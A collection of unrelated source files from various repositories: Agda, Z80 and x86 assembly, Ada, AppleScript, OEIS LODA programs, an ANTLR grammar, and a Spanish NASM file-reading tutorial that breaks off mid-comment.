<reponame>cruhland/agda module Issue4869 where open import Agda.Builtin.Nat infix 4 _≤_ data _≤_ : Nat → Nat → Set where z≤n : ∀ {n} → zero ≤ n s≤s : ∀ {m n} (m≤n : m ≤ n) → suc m ≤ suc n foo : 2 ≤ 1 → Nat foo (s≤s ()) = 123
lib/target/hgmc/classic/hgmc_crt0.asm
ahjelm/z88dk
640
160059
<reponame>ahjelm/z88dk ; ; Startup for Hübler Grafik MC ; ; https://hc-ddr.hucki.net/wiki/doku.php/homecomputer/hueblergrafik ; MODULE hgmc_crt0 INCLUDE "target/hgmc/def/hgmc.def" defc crt0 = 1 INCLUDE "zcc_opt.def" EXTERN _main ;main() is always external to crt0 code EXTERN asm_im1_handler PUBLIC cleanup ;jp'd to by exit() PUBLIC l_dcal ;jp(hl) defc TAR__clib_exit_stack_size = 4 defc TAR__register_sp = -1 ; $c000 defc CRT_KEY_DEL = 8 defc __CPU_CLOCK = 1500000 defc CONSOLE_COLUMNS = 32 defc CONSOLE_ROWS = 32 defc GRAPHICS_CHAR_SET = 128 + 32 defc GRAPHICS_CHAR_UNSET = 32 PUBLIC GRAPHICS_CHAR_SET PUBLIC GRAPHICS_CHAR_UNSET defc TAR__crt_enable_rst = $8080 EXTERN asm_im1_handler defc _z80_rst_38h = asm_im1_handler INCLUDE "crt/classic/crt_rules.inc" defc CRT_ORG_CODE = 0x0000 org CRT_ORG_CODE if (ASMPC<>$0000) defs CODE_ALIGNMENT_ERROR endif jp program INCLUDE "crt/classic/crt_z80_rsts.asm" program: INCLUDE "crt/classic/crt_init_sp.asm" INCLUDE "crt/classic/crt_init_atexit.asm" call crt0_init_bss ld hl,0 add hl,sp ld (exitsp),hl ei IF DEFINED_USING_amalloc INCLUDE "crt/classic/crt_init_amalloc.asm" ENDIF ld hl,0 push hl ;argv push hl ;argc call _main pop bc pop bc cleanup: jp RESTART l_dcal: jp (hl) ;Used for function pointer calls INCLUDE "crt/classic/crt_runtime_selection.asm" INCLUDE "crt/classic/crt_section.asm"
gcc-gcc-7_3_0-release/gcc/testsuite/gnat.dg/renaming8_pkg3.ads
best08618/asylo
7
14208
package Renaming8_Pkg3 is function Last_Index return Integer; end Renaming8_Pkg3;
library/fmGUI_ManageSecurity/fmGUI_ManageSecurity_PrivSet_Update_AccessRecord_Mapping.applescript
NYHTC/applescript-fm-helper
1
3770
-- fmGUI_ManageSecurity_PrivSet_Update_AccessRecord_Mapping({tableList:{}, tableExcludeList:{}, viewMapping:{}, editMapping:{}, createMapping:{}, deleteMapping:{}}) -- <NAME>, NYHTC -- Update all tables ( or specified list of tables ) based on a mapping (* HISTORY: 1.0 - 2018-01-25 ( eshagdar ): first created REQUIRES: fmGUI_AppFrontMost fmGUI_ManageSecurity_AccessRecord_GetInfo_OneTable fmGUI_ManageSecurity_AccessRecord_GetTablesNames fmGUI_ManageSecurity_PrivSet_Update_AccessRecord_OneTable fmGUI_ManageSecurity_PrivSet_Update_DictAccessType fmGUI_NameOfFrontmostWindow listRemoveFromFirstList*) on run fmGUI_ManageSecurity_PrivSet_Update_AccessRecord_Mapping({tableExcludeList:{"Selector", "Connector"}, viewMapping:{{original:"yes", new:"True"}, {original:"no", new:"False"}}}) end run -------------------- -- START OF CODE -------------------- on fmGUI_ManageSecurity_PrivSet_Update_AccessRecord_Mapping(prefs) -- version 1.0 set defaultPrefs to {tableList:{}, tableExcludeList:{}, viewMapping:{}, editMapping:{}, createMapping:{}, deleteMapping:{{original:"yes", new:"True"}}} set prefs to prefs & defaultPrefs set tableList to tableList of prefs set tableExcludeList to tableExcludeList of prefs try fmGUI_AppFrontMost() if fmGUI_NameOfFrontmostWindow() is not "Custom Record Privileges" then error "wrong starting context" number -1024 -- get button refs to edit each row tell application "System Events" tell process "FileMaker Pro Advanced" set viewButton to pop up button "View" of window 1 set editButton to pop up button "Edit" of window 1 set createButton to pop up button "Create" of window 1 set deleteButton to pop up button "Delete" of window 1 end tell end tell -- get list of table names to loop over if (count of tableList) is 0 then set tableList to fmGUI_ManageSecurity_AccessRecord_GetTablesNames({}) if (count of tableExcludeList) is not 0 then set tableList to listRemoveFromFirstList({tableList, tableExcludeList}) with timeout of (30 * minutes) seconds -- loop over each table, updating the access based on a mapping repeat with oneTableName in tableList set oneTableName to contents of oneTableName set currentAccess to fmGUI_ManageSecurity_AccessRecord_GetInfo_OneTable({tableName:oneTableName}) -- view access set viewRec to {viewAccess:null, viewCalc:null} repeat with oneMapping in viewMapping of prefs set oneMapping to contents of oneMapping try set viewRec to fmGUI_ManageSecurity_PrivSet_Update_DictAccessType({currentTableAccess:viewAccess of currentAccess, currentTableCalc:viewCalc of currentAccess, original:original of oneMapping, new:new of oneMapping, accessType:"view"}) exit repeat end try end repeat -- edit access set editRec to {editAccess:null, editCalc:null} repeat with oneMapping in editMapping of prefs set oneMapping to contents of oneMapping try set editRec to fmGUI_ManageSecurity_PrivSet_Update_DictAccessType({currentTableAccess:editAccess of currentAccess, currentTableCalc:editCalc of currentAccess, original:original of oneMapping, new:new of oneMapping, accessType:"edit"}) exit repeat end try end repeat -- create access set createRec to {createAccess:null, createCalc:null} repeat with oneMapping in createMapping of prefs set oneMapping to contents of oneMapping try set createRec to fmGUI_ManageSecurity_PrivSet_Update_DictAccessType({currentTableAccess:createAccess of currentAccess, currentTableCalc:createCalc of currentAccess, original:original of oneMapping, new:new of oneMapping, accessType:"create"}) exit repeat end try end repeat -- delete access set deleteRec to {deleteAccess:null, deleteCalc:null} repeat with oneMapping in deleteMapping of prefs set oneMapping to contents of oneMapping try set deleteRec to fmGUI_ManageSecurity_PrivSet_Update_DictAccessType({currentTableAccess:deleteAccess of currentAccess, currentTableCalc:deleteCalc of currentAccess, original:original of oneMapping, new:new of oneMapping, accessType:"delete"}) exit repeat end try end repeat -- update the table set oneTableUpdateParams to {baseTable:oneTableName} & viewRec & editRec & createRec & deleteRec fmGUI_ManageSecurity_PrivSet_Update_AccessRecord_OneTable(oneTableUpdateParams) end repeat end timeout return true on error errMsg number errNum error "unable to fmGUI_ManageSecurity_PrivSet_Update_AccessRecord_Mapping - " & errMsg number errNum end try end fmGUI_ManageSecurity_PrivSet_Update_AccessRecord_Mapping -------------------- -- END OF CODE -------------------- on fmGUI_AppFrontMost() tell application "htcLib" to fmGUI_AppFrontMost() end fmGUI_AppFrontMost on fmGUI_ManageSecurity_AccessRecord_GetInfo_OneTable(prefs) tell application "htcLib" to fmGUI_ManageSecurity_AccessRecord_GetInfo_OneTable(prefs) end fmGUI_ManageSecurity_AccessRecord_GetInfo_OneTable on fmGUI_ManageSecurity_AccessRecord_GetTablesNames(prefs) tell application "htcLib" to fmGUI_ManageSecurity_AccessRecord_GetTablesNames(prefs) end fmGUI_ManageSecurity_AccessRecord_GetTablesNames on fmGUI_ManageSecurity_PrivSet_Update_AccessRecord_OneTable(prefs) tell application "htcLib" to fmGUI_ManageSecurity_PrivSet_Update_AccessRecord_OneTable(prefs) end fmGUI_ManageSecurity_PrivSet_Update_AccessRecord_OneTable on fmGUI_ManageSecurity_PrivSet_Update_DictAccessType(prefs) tell application "htcLib" to fmGUI_ManageSecurity_PrivSet_Update_DictAccessType(prefs) end fmGUI_ManageSecurity_PrivSet_Update_DictAccessType on fmGUI_NameOfFrontmostWindow() tell application "htcLib" to fmGUI_NameOfFrontmostWindow() end fmGUI_NameOfFrontmostWindow on listRemoveFromFirstList({mainList, listOfItemsToRemove}) tell application "htcLib" to listRemoveFromFirstList({mainList, listOfItemsToRemove}) end listRemoveFromFirstList
oeis/178/A178115.asm
neoneye/loda-programs
11
3955
; A178115: a(n)=(-1)^C(n+1,2)*(F(n+1)*(1+(-1)^n)/2+F(n+2)*(1-(-1)^n)/2). ; Submitted by <NAME>(s1) ; 1,-2,-2,5,5,-13,-13,34,34,-89,-89,233,233,-610,-610,1597,1597,-4181,-4181,10946,10946,-28657,-28657,75025,75025,-196418,-196418,514229,514229,-1346269,-1346269,3524578,3524578,-9227465,-9227465,24157817 mov $2,$0 div $2,2 sub $0,$2 seq $0,99496 ; a(n) = (-1)^n * Fibonacci(2*n+1).
src/sys/http/util-http.ads
RREE/ada-util
60
2792
----------------------------------------------------------------------- -- util-http -- HTTP Utility Library -- Copyright (C) 2012, 2018 <NAME> -- Written by <NAME> (<EMAIL>) -- -- Licensed under the Apache License, Version 2.0 (the "License"); -- you may not use this file except in compliance with the License. -- You may obtain a copy of the License at -- -- http://www.apache.org/licenses/LICENSE-2.0 -- -- Unless required by applicable law or agreed to in writing, software -- distributed under the License is distributed on an "AS IS" BASIS, -- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -- See the License for the specific language governing permissions and -- limitations under the License. ----------------------------------------------------------------------- with Ada.Calendar; -- = HTTP = -- The `Util.Http` package provides a set of APIs that allows applications to use -- the HTTP protocol. It defines a common interface on top of CURL and AWS so that -- it is possible to use one of these two libraries in a transparent manner. -- -- @include util-http-clients.ads package Util.Http is -- Standard codes returned in HTTP responses. SC_CONTINUE : constant Natural := 100; SC_SWITCHING_PROTOCOLS : constant Natural := 101; SC_OK : constant Natural := 200; SC_CREATED : constant Natural := 201; SC_ACCEPTED : constant Natural := 202; SC_NON_AUTHORITATIVE_INFORMATION : constant Natural := 203; SC_NO_CONTENT : constant Natural := 204; SC_RESET_CONTENT : constant Natural := 205; SC_PARTIAL_CONTENT : constant Natural := 206; SC_MULTIPLE_CHOICES : constant Natural := 300; SC_MOVED_PERMANENTLY : constant Natural := 301; SC_MOVED_TEMPORARILY : constant Natural := 302; SC_FOUND : constant Natural := 302; SC_SEE_OTHER : constant Natural := 303; SC_NOT_MODIFIED : constant Natural := 304; SC_USE_PROXY : constant Natural := 305; SC_TEMPORARY_REDIRECT : constant Natural := 307; SC_BAD_REQUEST : constant Natural := 400; SC_UNAUTHORIZED : constant Natural := 401; SC_PAYMENT_REQUIRED : constant Natural := 402; SC_FORBIDDEN : constant Natural := 403; SC_NOT_FOUND : constant Natural := 404; SC_METHOD_NOT_ALLOWED : constant Natural := 405; SC_NOT_ACCEPTABLE : constant Natural := 406; SC_PROXY_AUTHENTICATION_REQUIRED : constant Natural := 407; SC_REQUEST_TIMEOUT : constant Natural := 408; SC_CONFLICT : constant Natural := 409; SC_GONE : constant Natural := 410; SC_LENGTH_REQUIRED : constant Natural := 411; SC_PRECONDITION_FAILED : constant Natural := 412; SC_REQUEST_ENTITY_TOO_LARGE : constant Natural := 413; SC_REQUEST_URI_TOO_LONG : constant Natural := 414; SC_UNSUPPORTED_MEDIA_TYPE : constant Natural := 415; SC_REQUESTED_RANGE_NOT_SATISFIABLE : constant Natural := 416; SC_EXPECTATION_FAILED : constant Natural := 417; SC_INTERNAL_SERVER_ERROR : constant Natural := 500; SC_NOT_IMPLEMENTED : constant Natural := 501; SC_BAD_GATEWAY : constant Natural := 502; SC_SERVICE_UNAVAILABLE : constant Natural := 503; SC_GATEWAY_TIMEOUT : constant Natural := 504; SC_HTTP_VERSION_NOT_SUPPORTED : constant Natural := 505; -- ------------------------------ -- Abstract Message -- ------------------------------ -- The <b>Abstract_Message</b> interface describe an HTTP message representing either -- a request or a response. type Abstract_Message is limited interface; -- Returns a boolean indicating whether the named message header has already -- been set. function Contains_Header (Message : in Abstract_Message; Name : in String) return Boolean is abstract; -- Returns the value of the specified message header as a String. If the message -- did not include a header of the specified name, this method returns null. -- If there are multiple headers with the same name, this method returns the -- first head in the request. The header name is case insensitive. You can use -- this method with any message header. function Get_Header (Message : in Abstract_Message; Name : in String) return String is abstract; -- Sets a message header with the given name and value. If the header had already -- been set, the new value overwrites the previous one. The containsHeader -- method can be used to test for the presence of a header before setting its value. procedure Set_Header (Message : in out Abstract_Message; Name : in String; Value : in String) is abstract; -- Adds a request header with the given name and value. -- This method allows request headers to have multiple values. procedure Add_Header (Message : in out Abstract_Message; Name : in String; Value : in String) is abstract; -- Iterate over the message headers and executes the <b>Process</b> procedure. procedure Iterate_Headers (Message : in Abstract_Message; Process : not null access procedure (Name : in String; Value : in String)) is abstract; -- Sets a header with the given name and date-value. -- The date is specified in terms of milliseconds since the epoch. -- If the header had already been set, the new value overwrites the previous one. -- The containsHeader method can be used to test for the presence of a header -- before setting its value. procedure Set_Date_Header (Request : in out Abstract_Message'Class; Name : in String; Date : in Ada.Calendar.Time); -- Adds a header with the given name and date-value. The date is specified -- in terms of milliseconds since the epoch. This method allows response headers -- to have multiple values. procedure Add_Date_Header (Request : in out Abstract_Message'Class; Name : in String; Date : in Ada.Calendar.Time); -- Sets a header with the given name and integer value. -- If the header had already been set, the new value overwrites the previous one. -- The containsHeader method can be used to test for the presence of a header -- before setting its value. procedure Set_Int_Header (Request : in out Abstract_Message'Class; Name : in String; Value : in Integer); -- Adds a header with the given name and integer value. This method -- allows headers to have multiple values. procedure Add_Int_Header (Request : in out Abstract_Message'Class; Name : in String; Value : in Integer); -- ------------------------------ -- Abstract Request -- ------------------------------ type Abstract_Request is limited interface and Abstract_Message; type Abstract_Request_Access is access all Abstract_Request'Class; -- ------------------------------ -- Abstract Response -- ------------------------------ type Abstract_Response is limited interface and Abstract_Message; type Abstract_Response_Access is access all Abstract_Response'Class; -- Get the response status code. function Get_Status (Response : in Abstract_Response) return Natural is abstract; -- Get the response body as a string. function Get_Body (Response : in Abstract_Response) return String is abstract; end Util.Http;
oeis/037/A037728.asm
neoneye/loda-programs
11
26524
; A037728: Base 9 digits are, in order, the first n terms of the periodic sequence with initial period 2,0,3,1. ; Submitted by <NAME> ; 2,18,165,1486,13376,120384,1083459,9751132,87760190,789841710,7108575393,63977178538,575794606844,5182151461596,46639363154367,419754268389304,3777788415503738 mov $2,2 lpb $0 sub $0,1 add $1,$2 mul $1,9 add $2,23 dif $2,6 div $2,2 mod $2,4 lpe add $1,$2 mov $0,$1
oeis/017/A017083.asm
neoneye/loda-programs
11
93657
; A017083: a(n) = (8*n + 1)^7. ; 1,4782969,410338673,6103515625,42618442977,194754273881,678223072849,1954897493193,4902227890625,11047398519097,22876792454961,44231334895529,80798284478113,140710042265625,235260548044817,379749833583241,594467302491009,905824306333433,1347646586640625,1962637152460137,2804020163098721,3937376385699289,5442680797299153,7416552901015625,9974730326005057,13254776280841401,17419031429960369,22657820762815273,29192926025390625,37281334283719577,47219273189051281,59346543514314249,74051159531521793 mul $0,8 add $0,1 pow $0,7
2020/25/combo_breaker_p2.asm
ped7g/adventofcode
2
22159
; https://adventofcode.com/2020/day/25 (part 2) DISPLAY "Just deposit all your 49 coins..." DISPLAY "The Cake Is a Lie!"
oeis/085/A085362.asm
neoneye/loda-programs
11
14503
<reponame>neoneye/loda-programs ; A085362: a(0)=1; for n>0, a(n) = 2*5^(n-1) - (1/2)*Sum_{i=1..n-1} a(i)*a(n-i). ; Submitted by <NAME> ; 1,2,8,34,150,678,3116,14494,68032,321590,1528776,7301142,35003238,168359754,812041860,3926147730,19022666310,92338836390,448968093320,2186194166950,10659569748370,52037098259090,254308709196660,1244063987615130,6091458343936900,29851422385561898,146401584666653096,718519354782813034,3528748863489872682,17340937720606848150,85266006597940769964,419483136494749262958,2064779020978804560672,10168098300400059060966,50095735785982443602520,246913867209896389630278,1217485132357806088588626 mov $5,2 mov $6,$0 lpb $5 mov $0,$6 sub $5,1 add $0,$5 trn $0,1 mov $3,1 lpb $3 mov $2,$0 seq $2,26375 ; a(n) = Sum_{k=0..n} binomial(n,k)*binomial(2*k,k). sub $3,1 lpe mov $0,$2 mov $4,$5 mul $4,$2 add $7,$4 lpe min $6,1 mul $6,$0 mov $0,$7 sub $0,$6
oeis/145/A145346.asm
neoneye/loda-programs
11
175732
<reponame>neoneye/loda-programs<filename>oeis/145/A145346.asm<gh_stars>10-100 ; A145346: A145312(n)/1440. ; Submitted by <NAME> ; 3,28,146,420,1260,2408,5460,9084,17010,24420,44968,57148,93912,123480,187240,222768,347463,391020,582540,674240,923076,1026168,1506960,1575100,2143050,2391480,3164112,3300780,4604040,4617760,6191568,6564096,8270262 add $0,1 mov $2,$0 seq $0,145094 ; Coefficients in expansion of Eisenstein series q*E'_4. mul $0,$2 sub $0,4320 div $0,1440 add $0,3
src/gui.adb
docandrew/YOTROC
4
18145
<reponame>docandrew/YOTROC<gh_stars>1-10 with Ada.Text_IO; with Ada.Strings.Unbounded; use Ada.Strings.Unbounded; with Interfaces; use Interfaces; with Glib; with Glib.Error; use Glib.Error; with Glib.Object; with Gdk.Cursor; with Gtk; with Gtk.Application_Window; with Gtk.Box; with Gtk.Editable; with Gtk.GEntry; with Gtk.Handlers; with Gtk.List_Store; with Gtk.Tree_Model; with Gtk.Widget; use Gtk.Widget; with Gtk.Main; with Gtk.Status_Bar; with Gtk.Text_View; with Gtk.Text_Buffer; with Gtk.Window; with Gtkada.Builder; use Gtkada.Builder; with Pango.Font; with callbacks; with util; with vm; package body gui is --use ASCII; error : aliased Glib.Error.GError; returnCode : Glib.Guint; contextDescription : String := "normal"; procedure registerHandlers is begin builder.Register_Handler(Handler_Name => "try_quit_cb", Handler => callbacks.tryQuit'Access); builder.Register_Handler(Handler_Name => "Main_Quit", Handler => callbacks.quit'Access); builder.Register_Handler(Handler_Name => "assembleButton1_clicked_cb", Handler => callbacks.assembleCB'Access); builder.Register_Handler(Handler_Name => "stepButton1_clicked_cb", Handler => callbacks.stepCB'Access); --builder.Register_Handler(Handler_Name => "runButton1_clicked_cb", Handler => callbacks.runCB'Access); --builder.Register_Handler(Handler_Name => "stopButton_clicked_cb", Handler => callbacks.stopCB'Access); builder.Register_Handler(Handler_Name => "newMenuItem_activate_cb", Handler => callbacks.newCB'Access); builder.Register_Handler(Handler_Name => "openMenuItem_activate_cb", Handler => callbacks.openCB'Access); builder.Register_Handler(Handler_Name => "saveMenuItem_activate_cb", Handler => callbacks.saveCB'Access); builder.Register_Handler(Handler_Name => "saveAsMenuItem_activate_cb", Handler => callbacks.saveAsCB'Access); builder.Register_Handler(Handler_Name => "aboutMenu_activate_cb", Handler => callbacks.aboutCB'Access); -- the normal register handler function doesn't work here textbuf := Gtk.Text_View.Gtk_Text_View(Gtkada.Builder.Get_Object(builder, "textview1")).Get_Buffer; callbacks.text.Connect(Widget => textbuf, Name => Gtk.Text_Buffer.Signal_Changed, Cb => callbacks.editCB'Access); --builder.Register_Handler(Handler_Name => "textview1_key_release_event_cb", Handler => callbacks.keypressCB'Access); end registerHandlers; -- Load our GUI description from the XML file and display it. procedure load is use Gtk.Box; use Gtk.List_Store; use Gtk.Status_Bar; -- font for the GtkTextView font : Pango.Font.Pango_Font_Description; textbufObj : Glib.Object.GObject; textbufWidget : Gtk_Widget; vbox : Gtk.Box.Gtk_Vbox; begin Gtk.Main.Init; Gtkada.Builder.Gtk_New (builder); returnCode := Gtkada.Builder.Add_From_File(builder, "../yotroc_gui.xml", error'Access); if error /= null then Ada.Text_IO.Put_Line("Error: " & Get_Message(error)); Error_Free(error); return; end if; registerHandlers; Gtkada.Builder.Do_Connect (builder); -- pull references to the various GTK widgets we defined in the GUI .xml file. topLevelWindow := Gtk_Widget(Gtkada.Builder.Get_Object(builder, "applicationwindow1")); machinecodeList := Gtk_List_Store(Gtkada.Builder.Get_Object(gui.builder, "machinecodeList")); memoryList := Gtk_List_Store(Gtkada.Builder.Get_Object(gui.builder, "memoryList")); registerList := Gtk_List_Store(Gtkada.Builder.Get_Object(gui.builder, "registerList")); vbox := Gtk_VBox(Gtkada.Builder.Get_Object(gui.builder, "vbox")); -- we add the status bar manually because for whatever reason Glade didn't like our status bar Gtk.Status_Bar.Gtk_New(statusBar); Pack_End(vbox, statusBar, False, False, 0); --statusBar := Gtk_Status_Bar(Gtkada.Builder.Get_Object(gui.builder, "statusBar1")); if statusBar = null then Ada.Text_IO.Put_Line("status bar null"); end if; font := Pango.Font.To_Font_Description(Family_Name => "Monospace", Size => Glib.Gint(11)); textbufObj := Gtkada.Builder.Get_Object(builder, "textview1"); textbuf := Gtk.Text_View.Gtk_Text_View(textbufObj).Get_Buffer; textbufWidget := Gtk_Widget(textbufObj); textbufWidget.Modify_Font(font); Gtk.Widget.Show_All(topLevelWindow); -- Start the Gtk+ main loop (blocked until Gtk.Main.Quit called in callbacks) Gtk.Main.Main; Unref(Builder); end; -- set the application window title procedure setTitle(newTitle : String) is use Gtk.Application_Window; appWindow : Gtk_Application_Window; begin appWindow := Gtk_Application_Window(Gtkada.Builder.Get_Object(builder, "applicationwindow1")); appWindow.Set_Title(Title => newTitle); end setTitle; ----------------------------------------------------------------------------- -- updateGUI_VM -- poll the VM and update the register and memory contents on the GUI with -- what the VM is showing. ----------------------------------------------------------------------------- procedure updateGUI_VM is use Gtk.List_Store; use Gtk.Tree_Model; use vm; listIter : Gtk_Tree_Iter; --memListIter : Gtk_Tree_Iter; status : Unbounded_String; ret : Gtk.Status_Bar.Message_Id; begin -- for now, just blow away and reload the list each time. We'll figure out -- how to do updates later. registerList.Clear; listIter := registerList.Get_Iter_First; --Ada.Text_IO.Put_Line(" adding " & Integer(machinecode.Length)'Image & " instructions to liststore"); for i in vm.regs'Range loop --Ada.Text_IO.Put_Line(" adding element to registerList " & i'Image); registerList.Append(Iter => listIter); registerList.Set(Iter => listIter, Column => 0, Value => Register'Image(i)); -- display floating-point values natively if i in vm.FloatRegister then registerList.Set(Iter => listIter, Column => 1, Value => util.toDouble(vm.regs(i))'Image); else registerList.Set(Iter => listIter, Column => 1, Value => util.toHexString(vm.regs(i))); end if; end loop; memoryList.Clear; listIter := memoryList.Get_Iter_First; for i in vm.memory'Range loop --Ada.Text_IO.Put_Line(" adding element to memoryList " & i'Image); memoryList.Append(Iter => listIter); memoryList.Set(Iter => listIter, Column => 0, Value => util.toHexString(Unsigned_64(Natural(i)))); memoryList.Set(Iter => listIter, Column => 1, Value => util.toHexString(vm.memory(Natural(i)))); end loop; status := To_Unbounded_String("PC: " & util.toHexString(vm.regs(pc)) & " Z: " & vm.flags.zero'Image & " OF: " & vm.flags.overflow'Image & " EQ: " & vm.flags.eq'Image); --statusBarContext := Get_Context_Id(Context_Description => contextDescription); --statusBar.Remove_All(Context => statusBarContext); ret := Gtk.Status_Bar.Push(statusBar, 1, To_String(status)); end updateGUI_VM; end gui;
data/baseStats/sylveon.asm
adhi-thirumala/EvoYellow
16
15735
;SylveonBaseStats: ; 3926a (e:526a) db DEX_SYLVEON ; pokedex id db 95 ; base hp db 65 ; base attack db 65 ; base defense db 60 ; base speed db 130 ; base special db FAIRY ; species type 1 db FAIRY ; species type 2 db FULL_HEAL ; catch rate db 196 ; base exp yield INCBIN "pic/ymon/sylveon.pic",0,1 ; 66, sprite dimensions dw SylveonPicFront dw SylveonPicBack ; moves db TACKLE db 0 db 0 db 0 db 0 ; growth rate ; learnset tmlearn 5,6,8 tmlearn 9,10,15,16 tmlearn 0 tmlearn 28,29,30,31,32 tmlearn 33,34,39,40 tmlearn 42,44,46 tmlearn 49,50,54 db BANK(SylveonPicFront)
modules/parsers/parser-hdbschema/src/main/antlr4/com/sap/xsk/parser/hdbschema/core/Hdbschema.g4
delchev/xsk
28
4437
<filename>modules/parsers/parser-hdbschema/src/main/antlr4/com/sap/xsk/parser/hdbschema/core/Hdbschema.g4 grammar Hdbschema; hdbschemaDefinition: schemaNameProp; schemaNameProp: 'schema_name' EQ STRING SEMICOLON; STRING: '"' (ESC|.)*? '"'; EQ : '=' ; SEMICOLON : ';' ; COMMA : ',' ; WS : [ \t\r\n\u000C]+ -> skip; // toss out whitespace ESC : '\\"' | '\\\\'; // 2-char sequences \" and \\ LINE_COMMENT : '//' .*? '\r'? '\n' -> skip ; // Match "//" stuff '\n' COMMENT : '/*' .*? '*/' -> skip ; // Match "/*" stuff "*/"
TotalParserCombinators/Derivative/LeftInverse.agda
nad/parser-combinators
1
5539
------------------------------------------------------------------------ -- The derivative operator does not introduce any unneeded ambiguity ------------------------------------------------------------------------ module TotalParserCombinators.Derivative.LeftInverse where open import Codata.Musical.Notation open import Data.Maybe hiding (_>>=_) open import Data.Product open import Relation.Binary.PropositionalEquality open import Relation.Binary.HeterogeneousEquality using (refl) open import TotalParserCombinators.Derivative.Definition open import TotalParserCombinators.Derivative.SoundComplete import TotalParserCombinators.InitialBag as I open import TotalParserCombinators.Lib open import TotalParserCombinators.Parser open import TotalParserCombinators.Semantics complete∘sound : ∀ {Tok R xs x s t} (p : Parser Tok R xs) (x∈ : x ∈ D t p · s) → complete (sound p x∈) ≡ x∈ complete∘sound token return = refl complete∘sound (p₁ ∣ p₂) (∣-left x∈p₁) rewrite complete∘sound p₁ x∈p₁ = refl complete∘sound (p₁ ∣ p₂) (∣-right ._ x∈p₂) rewrite complete∘sound p₂ x∈p₂ = refl complete∘sound (f <$> p) (<$> x∈p) rewrite complete∘sound p x∈p = refl complete∘sound (_⊛_ {fs = nothing} {xs = just _} p₁ p₂) (f∈p₁′ ⊛ x∈p₂) rewrite complete∘sound p₁ f∈p₁′ = refl complete∘sound (_⊛_ {fs = just _} {xs = just _} p₁ p₂) (∣-left (f∈p₁′ ⊛ x∈p₂)) rewrite complete∘sound p₁ f∈p₁′ = refl complete∘sound (_⊛_ {fs = just fs} {xs = just xs} p₁ p₂) (∣-right ._ (f∈ret⋆ ⊛ x∈p₂′)) with (refl , f∈fs) ← Return⋆.sound fs f∈ret⋆ | refl ← Return⋆.complete∘sound fs f∈ret⋆ rewrite I.complete∘sound p₁ f∈fs | complete∘sound p₂ x∈p₂′ = refl complete∘sound (_⊛_ {fs = nothing} {xs = nothing} p₁ p₂) (f∈p₁′ ⊛ x∈p₂) rewrite complete∘sound (♭ p₁) f∈p₁′ = refl complete∘sound (_⊛_ {fs = just fs} {xs = nothing} p₁ p₂) (∣-left (f∈p₁′ ⊛ x∈p₂)) rewrite complete∘sound (♭ p₁) f∈p₁′ = refl complete∘sound (_⊛_ {fs = just fs} {xs = nothing} p₁ p₂) (∣-right ._ (f∈ret⋆ ⊛ x∈p₂′)) with (refl , f∈fs) ← Return⋆.sound fs f∈ret⋆ | refl ← Return⋆.complete∘sound fs f∈ret⋆ rewrite I.complete∘sound (♭ p₁) f∈fs | complete∘sound p₂ x∈p₂′ = refl complete∘sound (_>>=_ {xs = nothing} {f = just _} p₁ p₂) (x∈p₁′ >>= y∈p₂x) rewrite complete∘sound p₁ x∈p₁′ = refl complete∘sound (_>>=_ {xs = just _} {f = just _} p₁ p₂) (∣-left (x∈p₁′ >>= y∈p₂x)) rewrite complete∘sound p₁ x∈p₁′ = refl complete∘sound (_>>=_ {xs = just xs} {f = just _} p₁ p₂) (∣-right ._ (y∈ret⋆ >>= z∈p₂′y)) with (refl , y∈xs) ← Return⋆.sound xs y∈ret⋆ | refl ← Return⋆.complete∘sound xs y∈ret⋆ rewrite I.complete∘sound p₁ y∈xs | complete∘sound (p₂ _) z∈p₂′y = refl complete∘sound (_>>=_ {xs = nothing} {f = nothing} p₁ p₂) (x∈p₁′ >>= y∈p₂x) rewrite complete∘sound (♭ p₁) x∈p₁′ = refl complete∘sound (_>>=_ {xs = just _} {f = nothing} p₁ p₂) (∣-left (x∈p₁′ >>= y∈p₂x)) rewrite complete∘sound (♭ p₁) x∈p₁′ = refl complete∘sound (_>>=_ {xs = just xs} {f = nothing} p₁ p₂) (∣-right ._ (y∈ret⋆ >>= z∈p₂′y)) with (refl , y∈xs) ← Return⋆.sound xs y∈ret⋆ | refl ← Return⋆.complete∘sound xs y∈ret⋆ rewrite I.complete∘sound (♭ p₁) y∈xs | complete∘sound (p₂ _) z∈p₂′y = refl complete∘sound (nonempty p) x∈p = complete∘sound p x∈p complete∘sound (cast _ p) x∈p = complete∘sound p x∈p complete∘sound (return _) () complete∘sound fail ()
codigo/capitulo 39/archivo_busqueda.asm
codeneomatrix/ENSAMBLADOR-x86-ACEVEDO
1
4666
segment .data MsgError db "se produjo un error",0xA,0xD ;mensaje en caso de ; existir un error al crear el archivo los numeros ; hexadecimales son equivalentes a los numeros decimales ; 10 y 13 los cuales permiten el salto de linea lon equ $ -MsgError MsgExito db "archivo abierto con exito",0xA,0xD lonexito equ $ -MsgExito encontrado db 'letra encontrada' lenencontrado equ $-encontrado noencontrado db 'letra no encontrada' lennoenecontrado equ $-noencontrado ln db 10,13 lenln equ $-ln archivo db "/home/neomatrix/codigo ensamblador/prueba.txt",0 ; ubicacion en el sistema de archivos del archivo a crear y ; y su nombre (prueba.txt), se usa el 0 como indicador ; de fin de cadena segment .bss idarchivo resd 1 contenido resb 16384 ; ubicacion de memoria donde se alamcenara ; el contenido del archivo segment .text global _start _start: ; abrimos el archivo mov eax,5 ; indicamos que abriremos un archivo mov ebx,archivo ; indicamos la ruta y el nombre del archivo mov ecx, 0; indicamos el modo de apertura del archivo ; solo lectura = 0 ; solo escritura = 1 ; lectura/escritura = 2 int 80h cmp eax,0 ; el descriptor de archivo es un numero entero ; no negativo jl error ; de ser negativo ha ocurrido un error mov dword[idarchivo] , eax ; guardamos el descriptor del archivo ; en memoria, para su uso posterior mov eax, 4 mov ebx, 1 mov ecx, MsgExito mov edx, lonexito int 80h ;lectura del contenido del archivo mov eax, 3 ; indicamos que leeremos el contenido mov ebx, [idarchivo] ; colocamos el descriptor del archivo mov ecx, contenido ; especificamos la ubicacion de memoria ; donde almacenaremos los datos del archivo mov edx, 16384 ; establecemos la cantidad de bytes a leer int 80h ;cierre del archivo mov eax, 6 mov ebx, [idarchivo] ; colocamos el descriptor de archivo int 80h ;impresion en pantalla del contenido del archivo mov eax, 4 mov ebx, 1 mov ecx, contenido mov edx, 16384 int 80h mov eax, 4 mov ebx, 1 mov ecx, ln mov edx, lenln int 0x80 mov edi, contenido ; contenido es la ubicacion de memeoria ; donde se ubica el contenido del archivo mov ecx, 15 ; utilizamos el registro ecx como contador mov al, 'h' ; especificamos la letra buscar cld ; colocamos en la bandera de 